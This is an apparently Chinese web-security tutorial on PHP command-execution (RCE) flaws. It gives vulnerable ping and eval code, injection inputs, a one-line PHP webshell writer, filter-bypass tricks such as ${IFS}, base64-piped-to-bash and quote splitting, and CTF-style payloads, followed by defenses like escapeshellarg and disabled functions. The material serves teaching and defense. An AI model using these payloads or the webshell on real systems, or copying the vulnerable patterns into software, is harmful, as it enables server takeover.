WEB常见漏洞之命令执行
字数 1053 2025-08-11 17:40:12
WEB常见漏洞之命令执行(RCE)漏洞详解与防御
0x01 漏洞概述
RCE(Remote Command/Code Execute)即远程命令执行/代码执行漏洞。攻击者可以通过此漏洞直接向后台服务器注入操作系统命令或代码,从而控制后台系统。
0x02 漏洞原理与演示
一、基于Ping命令的RCE漏洞
漏洞代码示例:
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
if(stristr(php_uname('s'), 'windows')){
$result.=shell_exec('ping '.$ip); // 直接拼接用户输入,未做过滤
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}
利用方式:
- 正常输入:
127.0.0.1 - 测试命令执行:
127.0.0.1|dir(Windows) 或127.0.0.1;ls(Linux) - 进一步利用:
127.0.0.1|ipconfig/all或127.0.0.1;ifconfig
二、基于eval函数的RCE漏洞
漏洞代码示例:
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
利用方式:
- 执行PHP代码:
phpinfo(); - 执行系统命令:
system("whoami"); - 写入Webshell:
fputs(fopen('shell.php','w'),'<?php @eval($_POST["hack"]);?>');
0x03 命令执行绕过技术
1. 空格绕过技术
<重定向:cat<flag.php<>重定向:cat<>flag.php%09(Tab字符):cat%09flag.php(需要PHP环境)${IFS}:cat${IFS}flag.php$IFS$9:cat$IFS$9flag.php
2. 黑名单绕过技术
拼接绕过:
a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;a$b ${c}${d}
编码绕过:
- Base64:
echo "Y2F0IC9mbGFn"|base64 -d|bash # 等同于 cat /flag - Hex:
echo "636174202f666c6167" | xxd -r -p|bash # 等同于 cat /flag
引号绕过:
ca''t flag 或 ca""t flag
ca''t te""st.php
反斜杠绕过:
ca\t fl\ag
cat te\st.php
3. 截断绕过
使用%0a(换行符)截断:
?c=cat f*%0a
0x04 漏洞防御措施
-
避免直接执行外部命令:
- 尽量使用自定义函数或函数库替代外部命令功能
-
输入过滤与验证:
- 对用户输入进行严格的白名单验证
- 过滤特殊字符和命令分隔符(
|,&,;,$等)
-
安全函数使用:
- 使用
escapeshellarg()或escapeshellcmd()处理命令参数
$safe_ip = escapeshellarg($ip); shell_exec("ping -c 4 ".$safe_ip); - 使用
-
环境配置加固:
- 设置
safe_mode_exec_dir指定可执行文件的路径 - 禁用危险函数:
disable_functions = system,exec,shell_exec,passthru,...
- 设置
-
最小权限原则:
- Web服务器以低权限用户运行
- 限制可访问的目录和文件
0x05 实战绕过示例
示例1:过滤了flag、system、php、cat等关键词
if(!preg_match("/flag|system|php|cat|sort|shell|i", $c)){
eval($c);
}
绕过Payload:
?c=passthru("tac%09f*");
示例2:单行多命令执行
$a=shell_exec("ping -c 4 ".$ip);
绕过Payload:
?ip=x;cat flag.php
通过深入理解这些技术和防御措施,可以有效识别和防范命令执行漏洞,提高Web应用的安全性。